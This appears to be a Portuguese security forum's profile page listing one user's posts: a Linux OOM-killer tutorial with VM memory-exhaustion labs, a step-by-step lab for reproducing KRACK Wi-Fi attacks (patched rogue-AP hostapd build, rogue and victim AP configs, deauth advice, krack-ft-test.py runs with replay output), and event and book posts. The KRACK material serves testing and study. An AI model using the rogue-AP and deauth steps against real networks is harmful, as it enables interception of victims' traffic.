Jump to content

ncaio

Apoiador Nibble
  • Content Count

    34
  • Joined

  • Last visited

Everything posted by ncaio

  1. # # # Ncaio - caiogore $! gma1l (..) com # FALANDO SOBRE OOM # REVISÃO 01 31/10/2017 - TXT AND FILES-> http://8bit.academy/doc/OOM/ # # John Von Neumann serrou o pulso e declarou: "Um computador é composto de três partes fundamentais: o processador, os dispositivos de entrada/saída e a memoria.". Ele mudou de forma radical o conceito de computadores em meados de 1930. Estamos falando de calculadoras. Infelizmente, a ideia de armazenar um programa em memória junto com a parte de dados, demorou a entrar em prática por falta de tecnologia para se construir dispositivos de memória. Enquanto isso, os processadores não pararam de evoluir. Isso talvez explique o motivo dos processadores estarem, de longe, mais evoluídos em comparação aos dispositivos de memória. Sistemas operacionais lidam elegantemente com essa diferença de velocidade entre dispositivos de memória primária e processadores. E este delay tem nome, se chama wait states. Bem, mas este assunto rende muito pano para manga. Dentro deste contexto, o assunto segurança não fica de fora. Este documento fala sobre um dos tópicos da filosofia de segurança Linux que é, inclusive, adotada pelo(a) Android: Ensures that user A does not exhaust user B's memory. https://source.android.com/security/overview/kernel-security Em resumo, sistemas operacionais multiusuários como o Linux, por exemplo, o que fazer para evitar que um usuário não monopolize todo o 'espaço' disponível de memória, que não comprometa o sistema operacional e/ou os outros demais utilizadores ? Sabemos que erros ocorridos no processo de desenvolvimento de uma aplicação podem resultar em um alto consumo de memória em sua execução, assim como intencionalmente ( ou não ), um usuário pode desencadear este consumo. Quando um processo ameaça o funcionamento de um computador que utiliza Linux como sistema operacional por causa de sua fome incontrolável de memória, um mecanismo chamado Out of Memory (OOM) Killer entra em ação. O OOM é um cão de guarda que observa a consumação de memória de um processo e o ataca quando ele passa dos limites. Isso significa que o Linux sempre diz sim quando um programa pede mais memória (malloc())! Com isso, ele consegue, ou tenta, executar mais programas. Estamos agora falando de over-commit de memória. Vamos aqui abrir um espaço para falarmos sobre memória virtual. Memória virtual é uma abstração da memória física que possibilita mecanismos de segurança, extensão e compartilhamento, por exemplo, de forma mais eficiente de quê o acesso direto. O over-commit no Linux vem ativo por padrão! Por isso, um pedido de espaço na memória 'nunca' é respondido como NULL. Isso é motivo de muita discussão na comunidade em geral e o que nos interessa no momento, é: * Por padrão, o valor da flag over-commit é zero no Kernel do Linux ( https://www.kernel.org/doc/Documentation/vm/overcommit-accounting ); * Se um aplicativo pede memória, o Linux responde positivamente; * E quando este pedido de memória perde o controle, o OOM killer entra em ação e assassina o processo. Claro que é um resumo genérico e existem algumas entrelinhas. No entanto, este é o conhecimento base para continuarmos a falar sobre o mecanismo OOM. LAB Para acompanhar estes procedimentos de forma prática, é recomendado o uso de uma máquina virtual com o sistema operacional Linux instalado. NÃO execute estes procedimentos fora da máquina virtual! Certifique que a flag de over-commit é zero. cat /proc/sys/vm/overcommit_memory 0 O valor esperado é zero. Como alterar este valor ? echo "0" > /proc/sys/vm/overcommit_memory Os vídeos aqui anexados, apresentam 4 telas de terminais que representam o mesmo host, onde: * Terminal superior esquerdo: É executada a criação de estrutura com o mkdir; * Terminal inferior esquerdo: Pontuação do OOM; * Terminal superior direito: A saída do comando free -m; * Terminal inferior direito: Tabela de processamento. Telas: http://8bit.academy/doc/OOM/img-6.png LAB 01 - NA VIDA REAL Vamos pegar um exemplo do dia a dia de um administrador para a construção de situações que envolvem memória. Chico do Pentest recebeu a seguinte missão: Criar uma estrutura de diretórios com características: Exemplo da estrutura de diretórios: http://8bit.academy/doc/OOM/lista-dir.txt São duas camadas de dez(10) diretórios (0 - 9) que, dentro deles, tem outra camada de dez diretórios. Chico tem um bom conhecimento em shell e utiliza para este procedimento, expansão de variáveis. Como ele criou estes dois níveis ? mkdir -p {0..9}/{0..9}/ De forma simples, Chico resolveu o problema proposto no laboratório 1 LAB 02 - FATIANDO O PROBLEMA Não demorou muito para a equipe de desenvolvimento descobrir que a estrutura de pastas solicitadas não atenderia aos requisitos do sistema. O chamado retornou para a fila de atendimento de Chico, solicitando a adição de mais quatro níveis. Contabilizando agora, seis níveis. Chico aceita o desafio e logo pensa em aproveitar a linha de comando anterior, adicionando a quantidade de níveis solicitada. E assim fez. mkdir -p {0..9}/{0..9}/{0..9}/{0..9}/{0..9}/{0..9}/ bash: /usr/bin/mkdir: Argument list too long Vídeo: http://8bit.academy/doc/OOM/6-levels.webm Temos aqui dois problemas: * Dez elevado a sexta potência, igual a 1 milhão de strings para serem carregadas na memória (10^6=1000000); * 1 milhão de strings é um valor muito alto de argumentos para um único comando mkdir. O Linux faz over-commit de memória, isso significa que o problema número um seria descartado do processo de resolução de problemas de Chico, se não houvesse memória suficiente e que isso fosse degradar o funcionamento do sistema operacional, ele já sabia que o cão e guarda OOM Killer entraria em ação. Esta é uma situação que muitos administradores já passaram ou passarão no decorrer de suas carreiras. E a recomendação para este caso é fatiar o seu problema. Chico agora tem duas situações: Utilizar FOR e realizar a criação unitária em 10^6 ciclos. O exemplo a seguir mostra como o problema 1 não impacta no sistema operacional utilizado. Ele foi capaz de carregar 1 milhão de strings na memória e passar uma por uma ao comando mkdir. for i in {0..9}/{0..9}/{0..9}/{0..9}/{0..9}/{0..9}/; do mkdir -p $i; done Utilizar o comando xargs. Este comando irá passar para o mkdir, por exemplo, apenas a quantidade de argumentos que ele suporta naquele momento. Em comparação a utilização do FOR, é de longe a solução mais recomendada. Chico também aprendeu: * Limitação de recursos é uma prática importante; * Aprendeu sobre o comando ulimit; * Aprendeu sobre ARG_MAX ( https://www.in-ulm.de/~mascheck/various/argmax/ ). PAUSA PARA O OOM A ideia de cão de guardar foi entendida por Chico. No entanto, ele precisou descobrir mais sobre o comportamento do OOM. Principalmente sobre a heurística que determina se um processo passou ou não dos limites. Em sua pesquisa, Chico chegou a seguinte conclusão sobre como a pontuação OOM é calculada. * O primeiro modelo publicado em 2009 não se mostrou efetivo. Já que saia matando qualquer processo e quando necessário, continuava a matar processo sem descrição de importância; * O modelo de 2010 é o que utilizamos hoje; * Existe uma proposta de melhoria para o modelo atual, publicado em 2013; * Cada processo tem sua pontuação; * A abstração fica em proc/<pid>/oom_score; * A pontuação é baseada na porcentagem de uso de memória RAM + SWAP ; * O valor 1000 significa 100% de uso da memória; * 0 significa 0% de uso da memória; * Para processo root, subtrair 3% da pontuação; * Existe como desativar um processo da ação matadora do OOM; * Existe como marcar um processo como alvo preferencial para o OOM; * Este arquivo é /proc/<pid>/oom_score_adj Links de referência: https://lwn.net/Articles/317814/ https://lwn.net/Articles/391222/ https://lwn.net/Articles/548180/ LAB 03 - O CURIOSO Chico resolveu seu problema anterior utilizando o FOR e aprendeu que poderia resolver de outra forma, com o xargs, por exemplo. Descontente e curioso, ele tem a ideia de mandar mais argumentos para o mkdir. Neste caso, ele enviou a criação de oito níveis. mkdir -p {0..9}/{0..9}/{0..9}/{0..9}/{0..9}/{0..9}/{0..9}/ Vídeo: http://8bit.academy/doc/OOM/08-levels.webm O vídeo de exemplo mostra que o gatilho Argument list too long não foi disparado. E com isso, o mkdir começou a pedir memória para armazenar as 10 ^ 8 = 100000000 strings. Que equivalem mais ou menos, contando com NULL e SLASHES -> 15 bytes, 15 * 100000000 = 1500000000 bytes ou 1.3 GigaByte. No canto superior direito ( free -m ) é possível observar o decremento da memória RAM E SWAP, enquanto no canto inferior esquerdo, a pontuação OOM só aumenta, até chegar ao ponto que o interpretador de comandos, no canto superior direito, ser assassinado pelo OOM. OBS: Chico utilizou uma sequência de comandos para esvaziar o CACHE da memória virtual. echo "3" > /proc/sys/vm/drop_caches Chico não para de se perguntar: Por qual motivo 10^6 argumentos geram um Argument list too long e 10^8, não ? LAB 04 - O REVOLTADO Chico desabilita o over-commit e chega a conclusão que é perigoso. Ele tem o receio que o seus programas sejam mortos antes de concluírem seus ciclos de execução. Sem over-commit, o processo é morto, por padrão, quando utiliza 50% da memória física. Vídeo: http://8bit.academy/doc/OOM/disable-overcommit.webm LAB 05 - O MORTO VIVO Para finalizar, Chico teve a brilhante ideia de executar o comando mkdir para a criação de uma estrutura de 8 níveis e desabilitar o OOM do processo executor. Vídeo: http://8bit.academy/doc/OOM/score-prio.webm E para sua surpresa, a pontuação não foi incrementada, o processo consumiu toda a memória RAM + SWAP e mesmo assim foi morto. Até então, tudo ocorreu bem, a não ser pelo fato de do suposto PID assassinado continuar na tabela de processamento com o status Z (zombie process). Depois dos laboratórios, Chico do Pentest aprendeu que tudo precisa de limites e que sempre deve levar o assunto de segurança de recursos a sério.
  2. Olha só, se preocupe em fazer o deauth. Pode ser com o airplay, jammer ou manual (desativa interface de rede do cliente e ativa novamente). No entanto, o lab vai ocupar seu adaptador de redes com o hostap, ou seja, talvez você precise de outro adaptador para injetar o detauth
  3. Olá @Ceoz, obrigado pelo interesse na postagem. Cara, isso aí pode ser duas coisas: Você vai precisar para o serviço de gerenciamento de rede da sua distribuição. debian /etc/init.d/network-manager stop slackware /etc/rc.d/rc.networkmanager stop Seu adaptador wireless não suporta o modo AP Para saber, você vai precisar executar comandos para descobrir ou pesquisar sobre a relação seu modelo e modo AP.
  4. Este texto é a resultante de horas e horas de analises, testes e decepções. Aqui é descrito todo o passo a passo da instalação e configuração de um ambiente propício a execução do código testador de pontos de acesso vulneráveis a ataque KRACK - FT (Fast BSS Transition - IEEE 802.11r - CVE-2017-13082 / FT) disponível em https://github.com/vanhoefm/krackattacks-test-ap-ft. Assim como um ataque KRACK em clientes WPA1 e WPA2 (https://www.krackattacks.com). Em ambos os casos, o vetor principal quebra/anula o processo WPA 4-way handshake. No 2017-130xx um rogue AP preparado para pular o handshake é utilizado. Já na CVE-2017-13082 / FT, uma requisição de reassociação FT pode levar um AP a reinstalação de chaves, ao contrário da Krack attack onde isso ocorre no lado cliente. CVE-2017-130xx * AP "falso" é configurado para o ataque KRACK; * Este rogue AP deve ficar próximo da vítima para garantir que ele tenha maior sinal em relação ao AP onde a vítima se encontra; * Vítima é força a se desassociar do AP alvo; * Vítima inicia processo de WPA 4-way handshake com o AP "falso" ; * Ap "falso" descarta handshake; * Vítima se associa ao rogue AP e começa a enviar quadros não criptografados CVE-2017-13082 / FT * É preciso identificar APs com FT; * Se trata de um ambiente com roaming (fast roaming). As células clientes trocam de access points pertencentes ao mesmo grupo quando estão em movimento, por exemplo; * Segundo Vanhoef, não se trata de um ataque contra especificações. E sim que foi observado trocas de chaves em alguns APs que não implementaram corretamente a máquina de estado 802.11 (http://community.arubanetworks.com/t5/Technology-Blog/Understanding-802-11-State-Machine/ba-p/270933); * Existe um app para teste em https://github.com/vanhoefm/krackattacks-test-ap-ft CVE-2017-130xx LAB Seguir o procedimento de instalação contidos em https://github.com/vanhoefm/blackhat17-pocs/tree/master/openbsd, especificamente o script get-and-compile-mitm.sh. Ele irá realizar o download do código fonte do hospad, aplicar o patch do Vanhoef e compilar. Este processo só será bem realizado se todas as dependências estiverem corretamente instaladas. Foi utilizada uma VM com Slackware, mas pode ser perfeitamente configurado em outras distribuições. Lembrar dos pacotes de compiladores, build-essential ou Development Tools, por exemplo, e os citados no repositório (libnl-3-dev libnl-genl-3-dev pkg-config libssl-dev rfkill). Foram criados dois access points, um é o rogue e o outro um AP (linux+hostapd) com configurações relevantes ao teste. Pode ser VM ou bare metal. 2 wireless cards em modo AP e um celular com Android para teste. Pode ser uma máquina linux com wpa_suplicant. |ap-rogue| |ap-da-vitima| \ / \ X \ / Android Linux ROGUE AP git clone git://w1.fi/srv/git/hostap.git -b hostap_2_6 openbsd-mitm cd openbsd-mitm wget https://raw.githubusercontent.com/vanhoefm/asiaccs2017-pocs/master/openbsd/mitm_poc.patch git apply mitm_poc.patch cd hostapd cp defconfig .config make * Modificar a flag ssid para o mesmo do alvo * Modificar a flag da interface Arquivo de proposto. interface=wlan1 logger_syslog=-1 logger_syslog_level=2 logger_stdout=-1 logger_stdout_level=2 ctrl_interface=/var/run/hostapd ctrl_interface_group=0 ssid=POC hw_mode=g channel=1 beacon_int=100 dtim_period=2 max_num_sta=255 rts_threshold=-1 fragm_threshold=-1 macaddr_acl=0 auth_algs=3 ignore_broadcast_ssid=0 wmm_enabled=1 wmm_ac_bk_cwmin=4 wmm_ac_bk_cwmax=10 wmm_ac_bk_aifs=7 wmm_ac_bk_txop_limit=0 wmm_ac_bk_acm=0 wmm_ac_be_aifs=3 wmm_ac_be_cwmin=4 wmm_ac_be_cwmax=10 wmm_ac_be_txop_limit=0 wmm_ac_be_acm=0 wmm_ac_vi_aifs=2 wmm_ac_vi_cwmin=3 wmm_ac_vi_cwmax=4 wmm_ac_vi_txop_limit=94 wmm_ac_vi_acm=0 wmm_ac_vo_aifs=2 wmm_ac_vo_cwmin=2 wmm_ac_vo_cwmax=3 wmm_ac_vo_txop_limit=47 wmm_ac_vo_acm=0 eapol_key_index_workaround=0 eap_server=0 own_ip_addr=127.0.0.1 wpa=3 wpa_passphrase=password wpa_pairwise=CCMP rsn_pairwise=CCMP Execução ./hostap ap-rogue.conf AP VÍTIMA Assim como no rogue ap, você pode executar onde desejar. Instale o hostapd e utilize o arquivo proposto a seguir. Se você utilizou o arquivo de conf anterior proposto para o rogue ap, apenas precisará modificar a interface. ap-da-vitima.conf interface=wlan0 logger_syslog=-1 logger_syslog_level=2 logger_stdout=-1 logger_stdout_level=2 ctrl_interface=/var/run/hostapd ctrl_interface_group=0 ssid=POC hw_mode=g channel=6 beacon_int=100 dtim_period=2 max_num_sta=255 rts_threshold=-1 fragm_threshold=-1 macaddr_acl=0 auth_algs=3 ignore_broadcast_ssid=0 wmm_enabled=1 wmm_ac_bk_cwmin=4 wmm_ac_bk_cwmax=10 wmm_ac_bk_aifs=7 wmm_ac_bk_txop_limit=0 wmm_ac_bk_acm=0 wmm_ac_be_aifs=3 wmm_ac_be_cwmin=4 wmm_ac_be_cwmax=10 wmm_ac_be_txop_limit=0 wmm_ac_be_acm=0 wmm_ac_vi_aifs=2 wmm_ac_vi_cwmin=3 wmm_ac_vi_cwmax=4 wmm_ac_vi_txop_limit=94 wmm_ac_vi_acm=0 wmm_ac_vo_aifs=2 wmm_ac_vo_cwmin=2 wmm_ac_vo_cwmax=3 wmm_ac_vo_txop_limit=47 wmm_ac_vo_acm=0 eapol_key_index_workaround=0 eap_server=0 own_ip_addr=127.0.0.1 wpa=3 wpa_passphrase=abcdefgh wpa_key_mgmt=WPA-PSK wpa_pairwise=TKIP rsn_pairwise=CCMP Execução ./hostap ap-da-vitima.conf O próximo passo é realizar um deauth, forçar que a célula troque de AP. Daqui para frente são testes e mais testes até recriar o cenário perfeito. No entanto, o laboratório já pode ser utilizado. Passaremos para o laboratório com FT. CVE-2017-13082 / FT Este é um cenário um pouco mais complexo de ser recriado. Foram utilizados 3 cartões adaptadores wireless, onde 2 em modo AP e um operando como cliente/monitor. Além de habilitar o suporte a IEEE 802.11r no wpa_supplicant e hostapd. Criando o primeiro AP com FT * Instale todos pré requisitos para poder compilar o código fonte do hostapd; * Certifique-se que o cartão wireless foi detectado e suporta a operação AP; * Download do repositório; git clone git://w1.fi/srv/git/hostap.git -b hostap_2_6 cd hostap/hostapd/ * Criar arquivo .config com o seguinte conteúdo CONFIG_DRIVER_HOSTAP=y CONFIG_DRIVER_NL80211=y CONFIG_LIBNL32=y CONFIG_IAPP=y CONFIG_RSN_PREAUTH=y CONFIG_PEERKEY=y CONFIG_IEEE80211W=y CONFIG_EAP=y CONFIG_ERP=y CONFIG_EAP_MD5=y CONFIG_EAP_TLS=y CONFIG_EAP_MSCHAPV2=y CONFIG_EAP_PEAP=y CONFIG_EAP_GTC=y CONFIG_EAP_TTLS=y CONFIG_PKCS12=y CONFIG_IPV6=y CONFIG_IEEE80211R=y * Compilar com o comando make; * Ao final você terá suporte a 802.11r; * Utilize o arquivo de configuração proposto a seguir para o hostap -> ap1-ft.conf; * Modifique a interface; interface=wlx001d0fa54d3c logger_syslog=-1 logger_syslog_level=2 logger_stdout=-1 logger_stdout_level=2 ctrl_interface=/var/run/hostapd ctrl_interface_group=0 ssid=POC hw_mode=g channel=1 beacon_int=100 dtim_period=2 max_num_sta=255 macaddr_acl=0 auth_algs=3 ignore_broadcast_ssid=0 wmm_enabled=1 wmm_ac_bk_cwmin=4 wmm_ac_bk_cwmax=10 wmm_ac_bk_aifs=7 wmm_ac_bk_txop_limit=0 wmm_ac_bk_acm=0 wmm_ac_be_aifs=3 wmm_ac_be_cwmin=4 wmm_ac_be_cwmax=10 wmm_ac_be_txop_limit=0 wmm_ac_be_acm=0 wmm_ac_vi_aifs=2 wmm_ac_vi_cwmin=3 wmm_ac_vi_cwmax=4 wmm_ac_vi_txop_limit=94 wmm_ac_vi_acm=0 wmm_ac_vo_aifs=2 wmm_ac_vo_cwmin=2 wmm_ac_vo_cwmax=3 wmm_ac_vo_txop_limit=47 wmm_ac_vo_acm=0 eapol_key_index_workaround=0 eap_server=0 own_ip_addr=0 nas_identifier=0 wpa=2 wpa_passphrase=password wpa_key_mgmt=FT-PSK wpa_pairwise=CCMP rsn_preauth=1 pmk_r1_push=1 mobility_domain=0101 Execução Criando o segundo AP com FT São os mesmo passos anteriores, mudando apenas o arquivo de configuração ap2-ft.conf, neste caso. * Utilize o arquivo de configuração proposto a seguir para o hostap -> ap2-ft.conf; * Modifique a interface; interface=wlx001d0fa54d3c logger_syslog=-1 logger_syslog_level=2 logger_stdout=-1 logger_stdout_level=2 ctrl_interface=/var/run/hostapd ctrl_interface_group=0 ssid=POC hw_mode=g channel=6 beacon_int=100 dtim_period=2 max_num_sta=255 macaddr_acl=0 auth_algs=3 ignore_broadcast_ssid=0 wmm_enabled=1 wmm_ac_bk_cwmin=4 wmm_ac_bk_cwmax=10 wmm_ac_bk_aifs=7 wmm_ac_bk_txop_limit=0 wmm_ac_bk_acm=0 wmm_ac_be_aifs=3 wmm_ac_be_cwmin=4 wmm_ac_be_cwmax=10 wmm_ac_be_txop_limit=0 wmm_ac_be_acm=0 wmm_ac_vi_aifs=2 wmm_ac_vi_cwmin=3 wmm_ac_vi_cwmax=4 wmm_ac_vi_txop_limit=94 wmm_ac_vi_acm=0 wmm_ac_vo_aifs=2 wmm_ac_vo_cwmin=2 wmm_ac_vo_cwmax=3 wmm_ac_vo_txop_limit=47 wmm_ac_vo_acm=0 eapol_key_index_workaround=0 eap_server=0 own_ip_addr=0 nas_identifier=0 wpa=2 wpa_passphrase=password wpa_key_mgmt=FT-PSK wpa_pairwise=CCMP rsn_preauth=1 pmk_r1_push=1 mobility_domain=0101 Execução ./hostapd ap1-ft.conf [ krackattacks-test-ap-ft ] Mantenha os dois APs em execução e passe para a instalação do krackattacks-test-ap-ft. Neste caso utilizaremos o adaptador com suporte a modo monitor para recriar os testes realizados utilizando a ferramenta. * Instale todos pré requisitos para poder compilar o código fonte do hostapd; * Certifique-se que o cartão wireless foi detectado e suporta a operação monitor; * Compilar wpa_supplicant com suporte 802.11r git clone git://w1.fi/srv/git/hostap.git -b hostap_2_6 cd hostap/wpa_supplicant/ * Criar arquivo .config com o seguinte conteúdo CONFIG_DRIVER_WEXT=y CONFIG_DRIVER_NL80211=y CONFIG_LIBNL32=y CONFIG_DRIVER_WIRED=y CONFIG_IEEE8021X_EAPOL=y CONFIG_EAP_MD5=y CONFIG_EAP_MSCHAPV2=y CONFIG_EAP_TLS=y CONFIG_EAP_PEAP=y CONFIG_EAP_TTLS=y CONFIG_EAP_GTC=y CONFIG_EAP_OTP=y CONFIG_EAP_LEAP=y CONFIG_PKCS12=y CONFIG_SMARTCARD=y CONFIG_CTRL_IFACE=y CONFIG_BACKEND=file CONFIG_PEERKEY=y CONFIG_IEEE80211R=y * Compilar com o comando make; * Você terá suporte a 802.11r; * Criar arquivo network.conf com o seguinte conteúdo: ctrl_interface=/var/run/wpa_supplicant network={ ssid="POC" key_mgmt=FT-PSK psk="password" } * Teste o suporte a FT executando o comando: ./wpa_supplicant -D nl80211 -i suainterface0 -c network.conf * Se não retornar erros, pode finalizar o teste com control+c * Download do repositório; git clone https://github.com/vanhoefm/krackattacks-test-ap-ft.git cd krackattacks-test-ap-ft * Desabilitar proteções utilizando o script disable-hwcrypto.sh ./disable-hwcrypto.sh * Reboot * A app (krackattacks-test-ap-ft) é escrita em python e requer a instalação de bibliotecas. A captura e injeção de pacotes é feita com a lib scapy. Utilize seu gerenciador de pacotes ou pip para instalação. * Para testar o funcionamento, execute o krack-ft-test.py * A saída esperada é: ./krack-ft-test.py ./krack-ft-test.py - Tool to test Key Reinstallation Attacks against an AP To test wheter an AP is vulnerable to a Key Reinstallation Attack against the Fast BSS Transition (FT) handshake, take the following steps: 1. The hardware encryption engine of some Wi-Fi NICs have bugs that interfere with our script. So disable hardware encryption by executing: ./disable-hwcrypto.sh This only needs to be done once. It's recommended to reboot after executing this script. After plugging in your Wi-Fi NIC, use `systool -vm ath9k_htc` or similar to confirm the nohwcript/.. param has been set. We tested this with an a TP-Link TL-WN722N and an Alfa AWUS051NH v2. 2. Create a wpa_supplicant configuration file that can be used to connect to the network. A basic example is: ... CONTINUA * Este programa é um wrapper que utilizará o wpa_supplicant com suporte 802.11r compilado anteriormente; * Recomendo copiar o binário do wpa_supplicant com suporte a 802.11r para a pasta raiz do krackattacks-test-ap-ft; * Identifique seu adaptador de rede, wlan0, por exemplo. * Pare o seu gerenciador de redes, caso utilize. * Execução do krack attack test: ./krack-ft-test.py /caminho/do/wpa_supplicant/comsuporte/iee80211/wpa_supplicant -D nl80211 -i wlan0 -c network.conf * Saída esperada ./krack-ft-test.py ./wpa_supplicant -D nl80211 -i wlan1 -c network.conf [12:40:09] Note: disable Wi-Fi in your network manager so it doesn't interfere with this script Successfully initialized wpa_supplicant wlan1: SME: Trying to authenticate with 02:1d:0f:a5:4d:30 (SSID='POC' freq=2412 MHz) wlan1: Trying to associate with 02:1d:0f:a5:4d:30 (SSID='POC' freq=2412 MHz) [12:40:36] Detected normal association frame wlan1: Associated with 02:1d:0f:a5:4d:30 wlan1: CTRL-EVENT-SUBNET-STATUS-UPDATE status=0 wlan1: WPA: Key negotiation completed with 02:1d:0f:a5:4d:30 [PTK=CCMP GTK=CCMP] wlan1: CTRL-EVENT-CONNECTED - Connection to 02:1d:0f:a5:4d:30 completed [id=0 id_str=] * OBS: A partir deste momento, você precisa realizar o processo de roaming entre os dois APS. O wrapper fica aguardando por quadros de retransmissão para iniciar o skip e levar o Ap a retransmissão de chaves. * Utilize o comando wpa_cli para o roaming (este binário é gerado junto com o wpa_supplicant). wpa_cli wpa_cli v2.5 Copyright (c) 2004-2015, Jouni Malinen <j@w1.fi> and contributors This software may be distributed under the terms of the BSD license. See README for more details. Selected interface 'wlan1' Interactive mode > * Realizar Scan > scan OK <3>CTRL-EVENT-SCAN-STARTED <3>CTRL-EVENT-SCAN-RESULTS * Visualizar resultado > scan_results bssid / frequency / signal level / flags / ssid 02:1d:0f:a5:4d:30 2412 -20 [WPA2-FT/PSK-CCMP-preauth][ESS] POC 00:1a:3f:24:ce:f2 2437 -56 [WPA2-FT/PSK-CCMP-preauth][ESS] POC > * Visualizando status atual > status bssid=02:1d:0f:a5:4d:30 freq=2412 ssid=POC id=0 mode=station pairwise_cipher=CCMP group_cipher=CCMP key_mgmt=FT-PSK wpa_state=COMPLETED address=00:40:0c:02:c6:60 * Migrar de células roam 00:1a:3f:24:ce:f2 * A partir deste momento o wrapper será sensibilizado a iniciar o ataque; * Saída esperada [12:55:09] Detected FT reassociation frame wlan1: Associated with 02:1d:0f:a5:4d:30 wlan1: WPA: Key negotiation completed with 02:1d:0f:a5:4d:30 [PTK=CCMP GTK=CCMP] wlan1: CTRL-EVENT-CONNECTED - Connection to 02:1d:0f:a5:4d:30 completed [id=0 id_str=] wlan1: CTRL-EVENT-SUBNET-STATUS-UPDATE status=0 [12:55:10] Replaying Reassociation Request [12:55:11] Replaying Reassociation Request [12:55:12] Replaying Reassociation Request [12:55:14] Replaying Reassociation Request [12:55:15] Replaying Reassociation Request [12:55:16] Replaying Reassociation Request [12:55:17] Replaying Reassociation Request [12:55:18] Replaying Reassociation Request [12:55:19] Replaying Reassociation Request [12:55:20] Replaying Reassociation Request [12:55:21] Replaying Reassociation Request Basicamente é isso. Estes são os passos para recriar um ambiente de teste para KRACK ATTACK.
  5. ncaio

    livros - currículo

    Dois livros que irão fazer diferença. https://www.saraiva.com.br/sistemas-operacionais-modernos-4-ed-2016-9325380.html https://www.saraiva.com.br/redes-de-computadores-5-ed-2011-3531742.html?pac_id=136793&gclid=CjwKEAjwpMLOBRC9mb-H_c6q4VISJAD4hnmQkSVOez_SJhMmdAorDUCYXqGeFrF94XVzddThCE4P5BoCdqHw_wcB OS livros desse cara vai fazer você avançar e ganhar tempo =] https://www.inglesnapontadalingua.com.br Coding: http://norvig.com/21-days.html
  6. ncaio

    BWCON

    until
    Evento de segurança da informação genuinamente pernambucano, que visa incentivar o hacking, subversão de sistemas e quebra de paradigmas. Um evento sem fins lucrativos, que procura manter o alto nível das palestras além de proporcionar diversão e conforto para todos os envolvidos. É garantida a cerveja gelada, excelente conteúdo técnico, networking e boas risadas.
  7. ncaio

    Qualitek Security Day

    until
    http://www.securityday.com.br 6 Talks Técnicas, Distribuição de Brindes, Etc. Sábado - 16 de setembro de 2017 Horário: 09:00 – 17:00 Horário Padrão de Brasília Horário Brasil (Fortaleza) Local: Instituto Metrópole Digital - UFRN - Natal / RN
×
×
  • Create New...